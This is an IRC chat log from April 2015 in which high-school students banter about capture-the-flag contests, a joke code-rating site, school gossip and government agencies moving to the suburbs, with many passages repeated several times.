[2015-04-23T21:44:55-0400] <LittleBobbyTables> sdamashek: it's the office of Dreamhost
[2015-04-23T21:44:56-0400] <sdamashek> I thought the address didn't exist
[2015-04-23T21:44:57-0400] <jwoglom> that's probably dreamhost's hq 
[2015-04-23T21:45:02-0400] <sdamashek> yeah
[2015-04-23T21:45:05-0400] <sdamashek> I realize that now
[2015-04-23T21:45:13-0400] <z3t> I'm surprised they actually store the images on their site...
[2015-04-23T21:45:56-0400] <jwoglom> http://puu.sh/hoH2N/24eb8cd175.png
[2015-04-23T21:47:27-0400] <sdamashek> well they pretty much had to steal that
[2015-04-23T21:47:41-0400] <sdamashek> unless they can draw MLP characters like pros
[2015-04-23T21:47:58-0400] <jwoglom> true yeah
[2015-04-23T21:48:11-0400] <jwoglom> 404 error is from somewhere else as well
[2015-04-23T21:48:35-0400] <jwoglom> if you google site:cmcctf.org there are some other links that 404 that show up..
[2015-04-23T22:05:56-0400] <LittleBobbyTables> Tamini: you should add my fake facebook account
[2015-04-23T22:07:02-0400] <Tamini> what is it?
[2015-04-23T22:07:23-0400] <LittleBobbyTables> https://www.facebook.com/profile.php?id=100004762277624
[2015-04-23T22:16:14-0400] <JacobEdelman> weeeeeeeeeee
[2015-04-23T22:16:15-0400] <JacobEdelman> I can fly
[2015-04-23T22:16:18-0400] <JacobEdelman> ....
[2015-04-23T22:16:20-0400] <JacobEdelman> oh noes
[2015-04-23T22:16:26-0400] <JacobEdelman> it turns out I was mistaken
[2015-04-23T22:17:48-0400] <jwoglom> import antigravity?
[2015-04-23T22:19:00-0400] <JacobEdelman> jwoglom: well, I just got done sampling everything in the medicine cabinet
[2015-04-23T22:19:07-0400] <JacobEdelman> so I'm not sure I can spell antismattery
[2015-04-23T22:19:12-0400] <JacobEdelman> or watever it is
[2015-04-23T22:19:16-0400] • JacobEdelman: is tired
[2015-04-23T22:19:21-0400] • JacobEdelman: should lie down
[2015-04-23T22:19:23-0400] • JacobEdelman: lies down
[2015-04-23T22:19:28-0400] • JacobEdelman: jumps up and yelps
[2015-04-23T22:19:37-0400] • JacobEdelman: thinks it best not to say what he was lying down on
[2015-04-23T22:20:16-0400] <bob_twinkles> JacobEdelman: perhaps sampling that many medicines wasn't the greatest idea
[2015-04-23T22:20:27-0400] <JacobEdelman> also
[2015-04-23T22:20:42-0400] <JacobEdelman> I'd like to join in on the cmcctf bashing
[2015-04-23T22:20:53-0400] <JacobEdelman> they mention only picoctf and easyctf among there other good ctfs
[2015-04-23T22:21:17-0400] <JacobEdelman> when as of now... ummm... hsctf is the largest and highest difficulty ctf made by hs students...
[2015-04-23T22:21:28-0400] <JacobEdelman> (pending tjctf, of course)
[2015-04-23T22:31:15-0400] <ubuntor> i still need to finish my reversing problems...
[2015-04-23T22:55:45-0400] <Tamini> fff
[2015-04-23T22:55:48-0400] <Tamini> mathematica code i hate everything
[2015-04-23T23:13:29-0400] <bob_twinkles> !s/mathematica/wolfram
[2015-04-23T23:20:02-0400] <alokpathy> JacobEdelman: They must not have liked it.
[2015-04-23T23:24:23-0400] <LittleBobbyTables> Tamini: you never added me
[2015-04-23T23:25:14-0400] <LittleBobbyTables> I wonder what I got on my outline
[2015-04-23T23:25:30-0400] <LittleBobbyTables> It was pretty much "I hate outlines and never do them... Here's what my essay is about:"
[2015-04-23T23:26:24-0400] <LittleBobbyTables> If you can’t do an outline, then you can’t write an essay.  If you wrote a good essay (we’ll see in a moment), then you did a good outline; you just did it in your head.
[2015-04-23T23:26:35-0400] <LittleBobbyTables> worth
[2015-04-24T01:08:08-0400] Mode is +nrt
[2015-04-24T01:37:02-0400] <+awe> alokpathy: Why did so many kids care about Mr. Patel getting fired when they've never even taken an art class?
[2015-04-24T01:40:30-0400] <+awe> http://ismycodegood.com/#aatxe
[2015-04-24T01:40:39-0400] <+awe> Why is my thoughtfulness of names rating so low, I wonder?
[2015-04-24T01:41:40-0400] <+awe> Ah, it's totally random. That's why.
[2015-04-24T01:42:02-0400] <+awe> Or maybe not totally random, but there isn't actually any legitimate analysis being run.
[2015-04-24T02:11:10-0400] <LittleBobbyTables> http://ismycodegood.com/#shortkidd
[2015-04-24T02:12:10-0400] <LittleBobbyTables> I don't even have any code
[2015-04-24T02:12:41-0400] <LittleBobbyTables> #include <iostream>
[2015-04-24T02:12:41-0400] <LittleBobbyTables> int main(){
[2015-04-24T02:12:41-0400] <LittleBobbyTables> 	std::cout << "Test git push";
[2015-04-24T02:12:41-0400] <LittleBobbyTables> 	return 0;
[2015-04-24T02:12:41-0400] <LittleBobbyTables> }
[2015-04-24T02:12:46-0400] <LittleBobbyTables> That's the only code I have on there lol
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[2015-04-24T04:00:06-0400] <nickolas360> awe: It's totally random, but it saves the results locally. Try incognito/private browsing and you'll get a different result.
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[2015-04-24T09:37:04-0400] <sdamashek> everybody should sign up for tjctf
[2015-04-24T09:37:07-0400] <sdamashek> https://tjctf.org/
[2015-04-24T09:37:14-0400] <sdamashek> :D
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[2015-04-24T10:05:09-0400] <z3t> sdamashek: are you advertising that inevery IRC channel you're in 
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[2015-04-24T10:18:53-0400] <z3t> tj kids: 151.188.213.229 is a TJ IP right?
[2015-04-24T10:22:45-0400] <LittleBobbyTables> z3t: nou
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[2015-04-23T22:16:18-0400] <JacobEdelman> ....
[2015-04-23T22:16:20-0400] <JacobEdelman> oh noes
[2015-04-23T22:16:26-0400] <JacobEdelman> it turns out I was mistaken
[2015-04-23T22:17:48-0400] <jwoglom> import antigravity?
[2015-04-23T22:19:00-0400] <JacobEdelman> jwoglom: well, I just got done sampling everything in the medicine cabinet
[2015-04-23T22:19:07-0400] <JacobEdelman> so I'm not sure I can spell antismattery
[2015-04-23T22:19:12-0400] <JacobEdelman> or watever it is
[2015-04-23T22:19:16-0400] • JacobEdelman: is tired
[2015-04-23T22:19:21-0400] • JacobEdelman: should lie down
[2015-04-23T22:19:23-0400] • JacobEdelman: lies down
[2015-04-23T22:19:28-0400] • JacobEdelman: jumps up and yelps
[2015-04-23T22:19:37-0400] • JacobEdelman: thinks it best not to say what he was lying down on
[2015-04-23T22:20:16-0400] <bob_twinkles> JacobEdelman: perhaps sampling that many medicines wasn't the greatest idea
[2015-04-23T22:20:27-0400] <JacobEdelman> also
[2015-04-23T22:20:42-0400] <JacobEdelman> I'd like to join in on the cmcctf bashing
[2015-04-23T22:20:53-0400] <JacobEdelman> they mention only picoctf and easyctf among there other good ctfs
[2015-04-23T22:21:17-0400] <JacobEdelman> when as of now... ummm... hsctf is the largest and highest difficulty ctf made by hs students...
[2015-04-23T22:21:28-0400] <JacobEdelman> (pending tjctf, of course)
[2015-04-23T22:31:15-0400] <ubuntor> i still need to finish my reversing problems...
[2015-04-23T22:55:45-0400] <Tamini> fff
[2015-04-23T22:55:48-0400] <Tamini> mathematica code i hate everything
[2015-04-23T23:13:29-0400] <bob_twinkles> !s/mathematica/wolfram
[2015-04-23T23:20:02-0400] <alokpathy> JacobEdelman: They must not have liked it.
[2015-04-23T23:24:23-0400] <LittleBobbyTables> Tamini: you never added me
[2015-04-23T23:25:14-0400] <LittleBobbyTables> I wonder what I got on my outline
[2015-04-23T23:25:30-0400] <LittleBobbyTables> It was pretty much "I hate outlines and never do them... Here's what my essay is about:"
[2015-04-23T23:26:24-0400] <LittleBobbyTables> If you can’t do an outline, then you can’t write an essay.  If you wrote a good essay (we’ll see in a moment), then you did a good outline; you just did it in your head.
[2015-04-23T23:26:35-0400] <LittleBobbyTables> worth
[2015-04-24T01:37:00-0400] <+awe> alokpathy: Why did so many kids care about Mr. Patel getting fired when they've never even taken an art class?
[2015-04-24T01:40:28-0400] <+awe> http://ismycodegood.com/#aatxe
[2015-04-24T01:40:38-0400] <+awe> Why is my thoughtfulness of names rating so low, I wonder?
[2015-04-24T01:41:39-0400] <+awe> Ah, it's totally random. That's why.
[2015-04-24T01:42:01-0400] <+awe> Or maybe not totally random, but there isn't actually any legitimate analysis being run.
[2015-04-24T02:11:10-0400] <LittleBobbyTables> http://ismycodegood.com/#shortkidd
[2015-04-24T02:12:10-0400] <LittleBobbyTables> I don't even have any code
[2015-04-24T02:12:41-0400] <LittleBobbyTables> #include <iostream>
[2015-04-24T02:12:41-0400] <LittleBobbyTables> int main(){
[2015-04-24T02:12:41-0400] <LittleBobbyTables> 	std::cout << "Test git push";
[2015-04-24T02:12:41-0400] <LittleBobbyTables> 	return 0;
[2015-04-24T02:12:41-0400] <LittleBobbyTables> }
[2015-04-24T02:12:46-0400] <LittleBobbyTables> That's the only code I have on there lol
[2015-04-24T04:00:06-0400] <nickolas360> awe: It's totally random, but it saves the results locally. Try incognito/private browsing and you'll get a different result.
[2015-04-24T09:37:04-0400] <sdamashek> everybody should sign up for tjctf
[2015-04-24T09:37:07-0400] <sdamashek> https://tjctf.org/
[2015-04-24T09:37:14-0400] <sdamashek> :D
[2015-04-24T10:05:09-0400] <z3t> sdamashek: are you advertising that inevery IRC channel you're in 
[2015-04-24T10:18:53-0400] <z3t> tj kids: 151.188.213.229 is a TJ IP right?
[2015-04-24T10:22:44-0400] <LittleBobbyTables> z3t: nou
[2015-04-24T12:31:23-0400] <jwoglom> z3t: FCPS IP
[2015-04-24T12:31:50-0400] <jwoglom> could be a TJ ip or some other school's
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[2015-04-24T13:17:35-0400] <+awe> nickolas360: that makes a lot of sense.
[2015-04-24T13:22:52-0400] <JacobEdelman> oooooooh
[2015-04-24T13:23:01-0400] <JacobEdelman> that ismycodegood thing makes so much sense now
[2015-04-24T13:23:07-0400] <JacobEdelman> wait, we should actually make a legit one
[2015-04-24T13:23:13-0400] <JacobEdelman> just for one
[2015-04-24T13:34:47-0400] <+awe> JacobEdelman: there used to be open source report card which wasn't the same, but was also pretty cool.
[2015-04-24T13:34:55-0400] <+awe> JacobEdelman: but it broke after GitHub API changes and they never fixed it. :(
[2015-04-24T13:35:03-0400] <JacobEdelman> yeah
[2015-04-24T13:35:04-0400] <JacobEdelman> I saw that
[2015-04-24T13:38:18-0400] <+awe> http://resume.github.io/?aatxe
[2015-04-24T13:38:21-0400] <+awe> This is pretty neat also.
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[2015-04-24T16:37:45-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-04-23T22:19:37-0400] • JacobEdelman: thinks it best not to say what he was lying down on
[2015-04-23T22:20:16-0400] <bob_twinkles> JacobEdelman: perhaps sampling that many medicines wasn't the greatest idea
[2015-04-23T22:20:27-0400] <JacobEdelman> also
[2015-04-23T22:20:42-0400] <JacobEdelman> I'd like to join in on the cmcctf bashing
[2015-04-23T22:20:53-0400] <JacobEdelman> they mention only picoctf and easyctf among there other good ctfs
[2015-04-23T22:21:17-0400] <JacobEdelman> when as of now... ummm... hsctf is the largest and highest difficulty ctf made by hs students...
[2015-04-23T22:21:28-0400] <JacobEdelman> (pending tjctf, of course)
[2015-04-23T22:31:15-0400] <ubuntor> i still need to finish my reversing problems...
[2015-04-23T22:55:45-0400] <Tamini> fff
[2015-04-23T22:55:48-0400] <Tamini> mathematica code i hate everything
[2015-04-23T23:13:29-0400] <bob_twinkles> !s/mathematica/wolfram
[2015-04-23T23:20:02-0400] <alokpathy> JacobEdelman: They must not have liked it.
[2015-04-23T23:24:23-0400] <LittleBobbyTables> Tamini: you never added me
[2015-04-23T23:25:14-0400] <LittleBobbyTables> I wonder what I got on my outline
[2015-04-23T23:25:30-0400] <LittleBobbyTables> It was pretty much "I hate outlines and never do them... Here's what my essay is about:"
[2015-04-23T23:26:24-0400] <LittleBobbyTables> If you can’t do an outline, then you can’t write an essay.  If you wrote a good essay (we’ll see in a moment), then you did a good outline; you just did it in your head.
[2015-04-23T23:26:35-0400] <LittleBobbyTables> worth
[2015-04-24T01:37:00-0400] <+awe> alokpathy: Why did so many kids care about Mr. Patel getting fired when they've never even taken an art class?
[2015-04-24T01:40:28-0400] <+awe> http://ismycodegood.com/#aatxe
[2015-04-24T01:40:38-0400] <+awe> Why is my thoughtfulness of names rating so low, I wonder?
[2015-04-24T01:41:39-0400] <+awe> Ah, it's totally random. That's why.
[2015-04-24T01:42:01-0400] <+awe> Or maybe not totally random, but there isn't actually any legitimate analysis being run.
[2015-04-24T02:11:10-0400] <LittleBobbyTables> http://ismycodegood.com/#shortkidd
[2015-04-24T02:12:10-0400] <LittleBobbyTables> I don't even have any code
[2015-04-24T02:12:41-0400] <LittleBobbyTables> #include <iostream>
[2015-04-24T02:12:41-0400] <LittleBobbyTables> int main(){
[2015-04-24T02:12:41-0400] <LittleBobbyTables> 	std::cout << "Test git push";
[2015-04-24T02:12:41-0400] <LittleBobbyTables> 	return 0;
[2015-04-24T02:12:41-0400] <LittleBobbyTables> }
[2015-04-24T02:12:46-0400] <LittleBobbyTables> That's the only code I have on there lol
[2015-04-24T04:00:06-0400] <nickolas360> awe: It's totally random, but it saves the results locally. Try incognito/private browsing and you'll get a different result.
[2015-04-24T09:37:04-0400] <sdamashek> everybody should sign up for tjctf
[2015-04-24T09:37:07-0400] <sdamashek> https://tjctf.org/
[2015-04-24T09:37:14-0400] <sdamashek> :D
[2015-04-24T10:05:09-0400] <z3t> sdamashek: are you advertising that inevery IRC channel you're in 
[2015-04-24T10:18:53-0400] <z3t> tj kids: 151.188.213.229 is a TJ IP right?
[2015-04-24T10:22:44-0400] <LittleBobbyTables> z3t: nou
[2015-04-24T12:31:23-0400] <jwoglom> z3t: FCPS IP
[2015-04-24T12:31:50-0400] <jwoglom> could be a TJ ip or some other school's
[2015-04-24T13:17:34-0400] <+awe> nickolas360: that makes a lot of sense.
[2015-04-24T13:22:51-0400] <JacobEdelman> oooooooh
[2015-04-24T13:23:00-0400] <JacobEdelman> that ismycodegood thing makes so much sense now
[2015-04-24T13:23:06-0400] <JacobEdelman> wait, we should actually make a legit one
[2015-04-24T13:23:13-0400] <JacobEdelman> just for one
[2015-04-24T13:34:46-0400] <+awe> JacobEdelman: there used to be open source report card which wasn't the same, but was also pretty cool.
[2015-04-24T13:34:55-0400] <+awe> JacobEdelman: but it broke after GitHub API changes and they never fixed it. :(
[2015-04-24T13:35:02-0400] <JacobEdelman> yeah
[2015-04-24T13:35:04-0400] <JacobEdelman> I saw that
[2015-04-24T13:38:18-0400] <+awe> http://resume.github.io/?aatxe
[2015-04-24T13:38:20-0400] <+awe> This is pretty neat also.
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[2015-04-24T16:47:53-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-04-23T22:19:37-0400] • JacobEdelman: thinks it best not to say what he was lying down on
[2015-04-23T22:20:16-0400] <bob_twinkles> JacobEdelman: perhaps sampling that many medicines wasn't the greatest idea
[2015-04-23T22:20:27-0400] <JacobEdelman> also
[2015-04-23T22:20:42-0400] <JacobEdelman> I'd like to join in on the cmcctf bashing
[2015-04-23T22:20:53-0400] <JacobEdelman> they mention only picoctf and easyctf among there other good ctfs
[2015-04-23T22:21:17-0400] <JacobEdelman> when as of now... ummm... hsctf is the largest and highest difficulty ctf made by hs students...
[2015-04-23T22:21:28-0400] <JacobEdelman> (pending tjctf, of course)
[2015-04-23T22:31:15-0400] <ubuntor> i still need to finish my reversing problems...
[2015-04-23T22:55:45-0400] <Tamini> fff
[2015-04-23T22:55:48-0400] <Tamini> mathematica code i hate everything
[2015-04-23T23:13:29-0400] <bob_twinkles> !s/mathematica/wolfram
[2015-04-23T23:20:02-0400] <alokpathy> JacobEdelman: They must not have liked it.
[2015-04-23T23:24:23-0400] <LittleBobbyTables> Tamini: you never added me
[2015-04-23T23:25:14-0400] <LittleBobbyTables> I wonder what I got on my outline
[2015-04-23T23:25:30-0400] <LittleBobbyTables> It was pretty much "I hate outlines and never do them... Here's what my essay is about:"
[2015-04-23T23:26:24-0400] <LittleBobbyTables> If you can’t do an outline, then you can’t write an essay.  If you wrote a good essay (we’ll see in a moment), then you did a good outline; you just did it in your head.
[2015-04-23T23:26:35-0400] <LittleBobbyTables> worth
[2015-04-24T01:37:00-0400] <+awe> alokpathy: Why did so many kids care about Mr. Patel getting fired when they've never even taken an art class?
[2015-04-24T01:40:28-0400] <+awe> http://ismycodegood.com/#aatxe
[2015-04-24T01:40:38-0400] <+awe> Why is my thoughtfulness of names rating so low, I wonder?
[2015-04-24T01:41:39-0400] <+awe> Ah, it's totally random. That's why.
[2015-04-24T01:42:01-0400] <+awe> Or maybe not totally random, but there isn't actually any legitimate analysis being run.
[2015-04-24T02:11:10-0400] <LittleBobbyTables> http://ismycodegood.com/#shortkidd
[2015-04-24T02:12:10-0400] <LittleBobbyTables> I don't even have any code
[2015-04-24T02:12:41-0400] <LittleBobbyTables> #include <iostream>
[2015-04-24T02:12:41-0400] <LittleBobbyTables> int main(){
[2015-04-24T02:12:41-0400] <LittleBobbyTables> 	std::cout << "Test git push";
[2015-04-24T02:12:41-0400] <LittleBobbyTables> 	return 0;
[2015-04-24T02:12:41-0400] <LittleBobbyTables> }
[2015-04-24T02:12:46-0400] <LittleBobbyTables> That's the only code I have on there lol
[2015-04-24T04:00:06-0400] <nickolas360> awe: It's totally random, but it saves the results locally. Try incognito/private browsing and you'll get a different result.
[2015-04-24T09:37:04-0400] <sdamashek> everybody should sign up for tjctf
[2015-04-24T09:37:07-0400] <sdamashek> https://tjctf.org/
[2015-04-24T09:37:14-0400] <sdamashek> :D
[2015-04-24T10:05:09-0400] <z3t> sdamashek: are you advertising that inevery IRC channel you're in 
[2015-04-24T10:18:53-0400] <z3t> tj kids: 151.188.213.229 is a TJ IP right?
[2015-04-24T10:22:44-0400] <LittleBobbyTables> z3t: nou
[2015-04-24T12:31:23-0400] <jwoglom> z3t: FCPS IP
[2015-04-24T12:31:50-0400] <jwoglom> could be a TJ ip or some other school's
[2015-04-24T13:17:34-0400] <+awe> nickolas360: that makes a lot of sense.
[2015-04-24T13:22:51-0400] <JacobEdelman> oooooooh
[2015-04-24T13:23:00-0400] <JacobEdelman> that ismycodegood thing makes so much sense now
[2015-04-24T13:23:06-0400] <JacobEdelman> wait, we should actually make a legit one
[2015-04-24T13:23:13-0400] <JacobEdelman> just for one
[2015-04-24T13:34:46-0400] <+awe> JacobEdelman: there used to be open source report card which wasn't the same, but was also pretty cool.
[2015-04-24T13:34:55-0400] <+awe> JacobEdelman: but it broke after GitHub API changes and they never fixed it. :(
[2015-04-24T13:35:02-0400] <JacobEdelman> yeah
[2015-04-24T13:35:04-0400] <JacobEdelman> I saw that
[2015-04-24T13:38:18-0400] <+awe> http://resume.github.io/?aatxe
[2015-04-24T13:38:20-0400] <+awe> This is pretty neat also.
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[2015-04-24T17:02:07-0400] <sdamashek> alokpathy: who's mr petel?
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[2015-04-23T22:20:16-0400] <bob_twinkles> JacobEdelman: perhaps sampling that many medicines wasn't the greatest idea
[2015-04-23T22:20:27-0400] <JacobEdelman> also
[2015-04-23T22:20:42-0400] <JacobEdelman> I'd like to join in on the cmcctf bashing
[2015-04-23T22:20:53-0400] <JacobEdelman> they mention only picoctf and easyctf among there other good ctfs
[2015-04-23T22:21:17-0400] <JacobEdelman> when as of now... ummm... hsctf is the largest and highest difficulty ctf made by hs students...
[2015-04-23T22:21:28-0400] <JacobEdelman> (pending tjctf, of course)
[2015-04-23T22:31:15-0400] <ubuntor> i still need to finish my reversing problems...
[2015-04-23T22:55:45-0400] <Tamini> fff
[2015-04-23T22:55:48-0400] <Tamini> mathematica code i hate everything
[2015-04-23T23:13:29-0400] <bob_twinkles> !s/mathematica/wolfram
[2015-04-23T23:20:02-0400] <alokpathy> JacobEdelman: They must not have liked it.
[2015-04-23T23:24:23-0400] <LittleBobbyTables> Tamini: you never added me
[2015-04-23T23:25:14-0400] <LittleBobbyTables> I wonder what I got on my outline
[2015-04-23T23:25:30-0400] <LittleBobbyTables> It was pretty much "I hate outlines and never do them... Here's what my essay is about:"
[2015-04-23T23:26:24-0400] <LittleBobbyTables> If you can’t do an outline, then you can’t write an essay.  If you wrote a good essay (we’ll see in a moment), then you did a good outline; you just did it in your head.
[2015-04-23T23:26:35-0400] <LittleBobbyTables> worth
[2015-04-24T01:37:00-0400] <+awe> alokpathy: Why did so many kids care about Mr. Patel getting fired when they've never even taken an art class?
[2015-04-24T01:40:28-0400] <+awe> http://ismycodegood.com/#aatxe
[2015-04-24T01:40:38-0400] <+awe> Why is my thoughtfulness of names rating so low, I wonder?
[2015-04-24T01:41:39-0400] <+awe> Ah, it's totally random. That's why.
[2015-04-24T01:42:01-0400] <+awe> Or maybe not totally random, but there isn't actually any legitimate analysis being run.
[2015-04-24T02:11:10-0400] <LittleBobbyTables> http://ismycodegood.com/#shortkidd
[2015-04-24T02:12:10-0400] <LittleBobbyTables> I don't even have any code
[2015-04-24T02:12:41-0400] <LittleBobbyTables> #include <iostream>
[2015-04-24T02:12:41-0400] <LittleBobbyTables> int main(){
[2015-04-24T02:12:41-0400] <LittleBobbyTables> 	std::cout << "Test git push";
[2015-04-24T02:12:41-0400] <LittleBobbyTables> 	return 0;
[2015-04-24T02:12:41-0400] <LittleBobbyTables> }
[2015-04-24T02:12:46-0400] <LittleBobbyTables> That's the only code I have on there lol
[2015-04-24T04:00:06-0400] <nickolas360> awe: It's totally random, but it saves the results locally. Try incognito/private browsing and you'll get a different result.
[2015-04-24T09:37:04-0400] <sdamashek> everybody should sign up for tjctf
[2015-04-24T09:37:07-0400] <sdamashek> https://tjctf.org/
[2015-04-24T09:37:14-0400] <sdamashek> :D
[2015-04-24T10:05:09-0400] <z3t> sdamashek: are you advertising that inevery IRC channel you're in 
[2015-04-24T10:18:53-0400] <z3t> tj kids: 151.188.213.229 is a TJ IP right?
[2015-04-24T10:22:44-0400] <LittleBobbyTables> z3t: nou
[2015-04-24T12:31:23-0400] <jwoglom> z3t: FCPS IP
[2015-04-24T12:31:50-0400] <jwoglom> could be a TJ ip or some other school's
[2015-04-24T13:17:34-0400] <+awe> nickolas360: that makes a lot of sense.
[2015-04-24T13:22:51-0400] <JacobEdelman> oooooooh
[2015-04-24T13:23:00-0400] <JacobEdelman> that ismycodegood thing makes so much sense now
[2015-04-24T13:23:06-0400] <JacobEdelman> wait, we should actually make a legit one
[2015-04-24T13:23:13-0400] <JacobEdelman> just for one
[2015-04-24T13:34:46-0400] <+awe> JacobEdelman: there used to be open source report card which wasn't the same, but was also pretty cool.
[2015-04-24T13:34:55-0400] <+awe> JacobEdelman: but it broke after GitHub API changes and they never fixed it. :(
[2015-04-24T13:35:02-0400] <JacobEdelman> yeah
[2015-04-24T13:35:04-0400] <JacobEdelman> I saw that
[2015-04-24T13:38:18-0400] <+awe> http://resume.github.io/?aatxe
[2015-04-24T13:38:20-0400] <+awe> This is pretty neat also.
[2015-04-24T17:02:07-0400] <sdamashek> alokpathy: who's mr petel?
[2015-04-24T18:53:18-0400] Mode is +nrt
[2015-04-24T18:54:00-0400] <+awe> sdamashek: he's an art teacher at alokpathy's high school.
[2015-04-24T19:24:59-0400] <LittleBobbyTables> awe: I want ssd but  want to wait for them to go on sell
[2015-04-24T19:25:35-0400] <+awe> I think I'm going to apply for some M$ scholarships in the Fall.
[2015-04-24T19:29:42-0400] <LittleBobbyTables> I have to pee, but the bathroom is so far away
[2015-04-24T19:31:27-0400] <+awe> That's tragic. You should get one of those jar-leg setups.
[2015-04-24T19:31:35-0400] <+awe> That way you can pee while you're sitting.
[2015-04-24T19:34:36-0400] <LittleBobbyTables> You're a genius
[2015-04-24T19:34:38-0400] <LittleBobbyTables> How much are they
[2015-04-24T19:43:33-0400] <+awe> I don't think they're too expensive.
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[2015-04-24T19:56:01-0400] <+awe> Wow, TJ folks, did you guys know that NSF is moving their headquarters to Alexandria?
[2015-04-24T19:56:27-0400] <bob_twinkles> I do now
[2015-04-24T19:56:36-0400] <bob_twinkles> why?
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[2015-04-23T23:25:14-0400] <LittleBobbyTables> I wonder what I got on my outline
[2015-04-23T23:25:30-0400] <LittleBobbyTables> It was pretty much "I hate outlines and never do them... Here's what my essay is about:"
[2015-04-23T23:26:24-0400] <LittleBobbyTables> If you can’t do an outline, then you can’t write an essay.  If you wrote a good essay (we’ll see in a moment), then you did a good outline; you just did it in your head.
[2015-04-23T23:26:35-0400] <LittleBobbyTables> worth
[2015-04-24T01:37:00-0400] <+awe> alokpathy: Why did so many kids care about Mr. Patel getting fired when they've never even taken an art class?
[2015-04-24T01:40:28-0400] <+awe> http://ismycodegood.com/#aatxe
[2015-04-24T01:40:38-0400] <+awe> Why is my thoughtfulness of names rating so low, I wonder?
[2015-04-24T01:41:39-0400] <+awe> Ah, it's totally random. That's why.
[2015-04-24T01:42:01-0400] <+awe> Or maybe not totally random, but there isn't actually any legitimate analysis being run.
[2015-04-24T02:11:10-0400] <LittleBobbyTables> http://ismycodegood.com/#shortkidd
[2015-04-24T02:12:10-0400] <LittleBobbyTables> I don't even have any code
[2015-04-24T02:12:41-0400] <LittleBobbyTables> #include <iostream>
[2015-04-24T02:12:41-0400] <LittleBobbyTables> int main(){
[2015-04-24T02:12:41-0400] <LittleBobbyTables> 	std::cout << "Test git push";
[2015-04-24T02:12:41-0400] <LittleBobbyTables> 	return 0;
[2015-04-24T02:12:41-0400] <LittleBobbyTables> }
[2015-04-24T02:12:46-0400] <LittleBobbyTables> That's the only code I have on there lol
[2015-04-24T04:00:06-0400] <nickolas360> awe: It's totally random, but it saves the results locally. Try incognito/private browsing and you'll get a different result.
[2015-04-24T09:37:04-0400] <sdamashek> everybody should sign up for tjctf
[2015-04-24T09:37:07-0400] <sdamashek> https://tjctf.org/
[2015-04-24T09:37:14-0400] <sdamashek> :D
[2015-04-24T10:05:09-0400] <z3t> sdamashek: are you advertising that inevery IRC channel you're in 
[2015-04-24T10:18:53-0400] <z3t> tj kids: 151.188.213.229 is a TJ IP right?
[2015-04-24T10:22:44-0400] <LittleBobbyTables> z3t: nou
[2015-04-24T12:31:23-0400] <jwoglom> z3t: FCPS IP
[2015-04-24T12:31:50-0400] <jwoglom> could be a TJ ip or some other school's
[2015-04-24T13:17:34-0400] <+awe> nickolas360: that makes a lot of sense.
[2015-04-24T13:22:51-0400] <JacobEdelman> oooooooh
[2015-04-24T13:23:00-0400] <JacobEdelman> that ismycodegood thing makes so much sense now
[2015-04-24T13:23:06-0400] <JacobEdelman> wait, we should actually make a legit one
[2015-04-24T13:23:13-0400] <JacobEdelman> just for one
[2015-04-24T13:34:46-0400] <+awe> JacobEdelman: there used to be open source report card which wasn't the same, but was also pretty cool.
[2015-04-24T13:34:55-0400] <+awe> JacobEdelman: but it broke after GitHub API changes and they never fixed it. :(
[2015-04-24T13:35:02-0400] <JacobEdelman> yeah
[2015-04-24T13:35:04-0400] <JacobEdelman> I saw that
[2015-04-24T13:38:18-0400] <+awe> http://resume.github.io/?aatxe
[2015-04-24T13:38:20-0400] <+awe> This is pretty neat also.
[2015-04-24T17:02:07-0400] <sdamashek> alokpathy: who's mr petel?
[2015-04-24T18:53:59-0400] <+awe> sdamashek: he's an art teacher at alokpathy's high school.
[2015-04-24T19:24:58-0400] <LittleBobbyTables> awe: I want ssd but  want to wait for them to go on sell
[2015-04-24T19:25:34-0400] <+awe> I think I'm going to apply for some M$ scholarships in the Fall.
[2015-04-24T19:29:41-0400] <LittleBobbyTables> I have to pee, but the bathroom is so far away
[2015-04-24T19:31:26-0400] <+awe> That's tragic. You should get one of those jar-leg setups.
[2015-04-24T19:31:33-0400] <+awe> That way you can pee while you're sitting.
[2015-04-24T19:34:34-0400] <LittleBobbyTables> You're a genius
[2015-04-24T19:34:37-0400] <LittleBobbyTables> How much are they
[2015-04-24T19:43:31-0400] <+awe> I don't think they're too expensive.
[2015-04-24T19:56:00-0400] <+awe> Wow, TJ folks, did you guys know that NSF is moving their headquarters to Alexandria?
[2015-04-24T19:56:26-0400] <bob_twinkles> I do now
[2015-04-24T19:56:35-0400] <bob_twinkles> why?
[2015-04-24T20:01:44-0400] Mode is +nrt
[2015-04-24T20:01:50-0400] <+awe> bob_twinkles: I have no idea, but it's happening in 2017 apparently.
[2015-04-24T20:01:56-0400] <bob_twinkles> meh
[2015-04-24T20:02:02-0400] <bob_twinkles> I hopefully won't be around then
[2015-04-24T20:02:06-0400] <bob_twinkles> probably needed more space
[2015-04-24T20:02:28-0400] <+awe> Probably.
[2015-04-24T20:17:18-0400] <jwoglom> i think that's starting to become a trend
[2015-04-24T20:17:36-0400] <jwoglom> a lot of government and close-to-government organizations want to move out of their offices in DC to the surrounding suburbs
[2015-04-24T20:17:50-0400] <jwoglom> for more space
[2015-04-24T20:21:34-0400] <+awe> Yeah, it makes sense. DC is tiny.
[2015-04-24T20:22:17-0400] <bob_twinkles> and you can't really actually build anything there =P
[2015-04-24T20:22:36-0400] <jwoglom> also probably because the office buildings they're in are getting old and they don't want to renovate
[2015-04-24T20:22:40-0400] <+awe> jwoglom: though, actually, the NSF isn't currently in DC. It's currently in Arlington.
[2015-04-24T20:22:56-0400] <jwoglom> eh, arlington for all intents and purposes basically is DC
[2015-04-24T20:23:29-0400] <+awe> Fair enough.
[2015-04-24T20:24:04-0400] <jwoglom> the FBI for example: "As of 2012, the J. Edgar Hoover Building is nearing the end of its useful lifespan. It is suffering from deterioration due to deferred maintenance and mediocre design. The FBI, General Services Administration, and Government Accountability Office agree that the building is no longer appropriate for the FBI, but the cost of building a new headquarters has led to inaction for
[2015-04-24T20:24:06-0400] <jwoglom> several years"
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[2015-04-24T02:12:46-0400] <LittleBobbyTables> That's the only code I have on there lol
[2015-04-24T04:00:06-0400] <nickolas360> awe: It's totally random, but it saves the results locally. Try incognito/private browsing and you'll get a different result.
[2015-04-24T09:37:04-0400] <sdamashek> everybody should sign up for tjctf
[2015-04-24T09:37:07-0400] <sdamashek> https://tjctf.org/
[2015-04-24T09:37:14-0400] <sdamashek> :D
[2015-04-24T10:05:09-0400] <z3t> sdamashek: are you advertising that inevery IRC channel you're in 
